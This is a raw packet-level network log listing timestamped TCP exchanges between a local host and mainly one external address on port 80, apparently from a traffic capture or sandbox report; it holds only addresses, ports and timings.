Dec 8, 2024 00:49:01.880155087 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.881006956 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.881047010 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.881067038 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.881105900 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.881947994 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.881984949 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.882040977 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.882080078 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.882952929 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.882992029 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.883059978 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.883102894 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.883940935 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.883982897 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.884041071 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.884083033 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.884919882 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.884974003 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.885010004 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.885066986 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.885940075 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.885977983 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.886008024 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.886044025 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.886888027 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.886928082 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.886964083 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.887008905 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.887877941 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.887912035 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.887990952 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.888022900 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.888895035 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.888942003 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.888972044 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.889086008 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.889856100 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.889895916 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.889961958 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.890007019 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.890846968 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.890885115 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:01.890938997 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:01.891004086 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.032351017 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.032421112 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.032529116 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.032567024 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.032744884 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.032784939 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.032869101 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.032912016 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.033737898 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.033780098 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.033842087 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.033895016 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.034738064 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.034782887 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.034853935 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.034903049 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.035715103 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.035753012 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.035816908 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.035861015 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.036725044 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.036771059 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.036802053 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.036886930 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.037679911 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.037727118 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.037790060 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.037821054 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.038660049 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.038702011 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.038764954 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.038804054 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.039668083 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.039710045 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.039778948 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.039823055 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.040652990 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.040694952 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.040759087 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.040800095 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.041652918 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.041693926 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.041779041 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.041820049 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.042709112 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.042752028 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.042768002 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.042798996 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.043654919 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.043698072 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.043767929 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.043811083 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.044605970 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.044653893 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.044764996 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.044806957 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.045595884 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.045639992 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.045758009 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.045798063 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.046611071 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.046653032 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.046782017 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.046830893 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.047626972 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.047672987 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.047802925 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.047847033 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.048681974 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.048727989 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.048791885 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.048834085 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.049557924 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.049597025 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.049654007 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.049690008 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.050549030 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.050595999 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.050645113 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.050687075 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.051531076 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.051573038 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.051628113 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.051670074 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.052529097 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.052575111 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.052642107 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.052684069 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.053519964 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.053564072 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.053599119 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.053647041 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.054474115 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.054517031 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.054584026 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.054624081 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.055471897 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.055514097 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.055573940 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.055615902 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.056452990 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.056493998 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.056626081 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.056669950 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.057446003 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.057487965 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.057547092 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.057586908 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.058439970 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.058485985 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.058533907 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.058574915 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.059441090 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.059484959 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.059531927 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.059577942 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.060399055 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.060441971 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.060497046 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.060535908 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.061408997 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.061450005 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.061537027 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.061577082 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.062397957 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.062438965 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.062479019 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.062520981 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.063358068 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.063397884 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.063483953 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.063524008 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.064372063 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.064415932 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.064485073 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.064526081 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.064754009 CET	443	49840	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:02.065165997 CET	49840	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:02.065201044 CET	443	49840	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:02.065361023 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.065402031 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.065490961 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.065531015 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.065640926 CET	49840	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:02.065650940 CET	443	49840	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:02.066376925 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.066414118 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.066586018 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.066627979 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.067306995 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.067349911 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.067441940 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.067480087 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.068325996 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.068367958 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.068422079 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.068469048 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.069320917 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.069363117 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.069432020 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.069475889 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.070285082 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.070326090 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.070363045 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.070404053 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.071300983 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.071340084 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.071374893 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.071413040 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.072257996 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.072299004 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.072499990 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.072540998 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.073293924 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.073335886 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.073368073 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.073405027 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.074254990 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.074296951 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.074352026 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.074394941 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.075236082 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.075278044 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.075336933 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.075376987 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.076231956 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.076275110 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.076339960 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.076385021 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.077193022 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.077239037 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.077321053 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.077363968 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.078195095 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.078241110 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.078300953 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.078353882 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.079184055 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.079226971 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.079288006 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.079324961 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.080176115 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.080218077 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.080280066 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.080322027 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.081437111 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.081480980 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.081518888 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.081557035 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.082336903 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.082376003 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.082432985 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.082473040 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.083169937 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.083213091 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.083321095 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.083363056 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.084145069 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.084187031 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.224962950 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.225017071 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.225037098 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.225056887 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.225415945 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.225465059 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.225496054 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.225531101 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.226406097 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.226450920 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.226558924 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.226600885 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.227364063 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.227405071 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.227466106 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.227509022 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.228369951 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.228416920 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.228485107 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.228528023 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.229342937 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.229389906 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.229449034 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.229490995 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.230354071 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.230398893 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.230433941 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.230470896 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.231340885 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.231384993 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.231443882 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.231487989 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.232295990 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.232337952 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.232389927 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.232431889 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.233310938 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.233356953 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.233422041 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.233464956 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.234292984 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.234335899 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.234392881 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.234436035 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.235301018 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.235344887 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.235379934 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.235418081 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.236279964 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.236321926 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.236356974 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.236401081 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.237260103 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.237307072 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.237360001 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.237410069 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.238259077 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.238302946 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.238380909 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.238423109 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.239228010 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.239270926 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.239356995 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.239409924 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.240226030 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.240268946 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.240324974 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.240369081 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.241230011 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.241272926 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.241332054 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.241374016 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.242181063 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:02.242214918 CET	443	49836	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:02.242224932 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:02.242300034 CET	80	49835	185.215.113.16	192.168.2.7
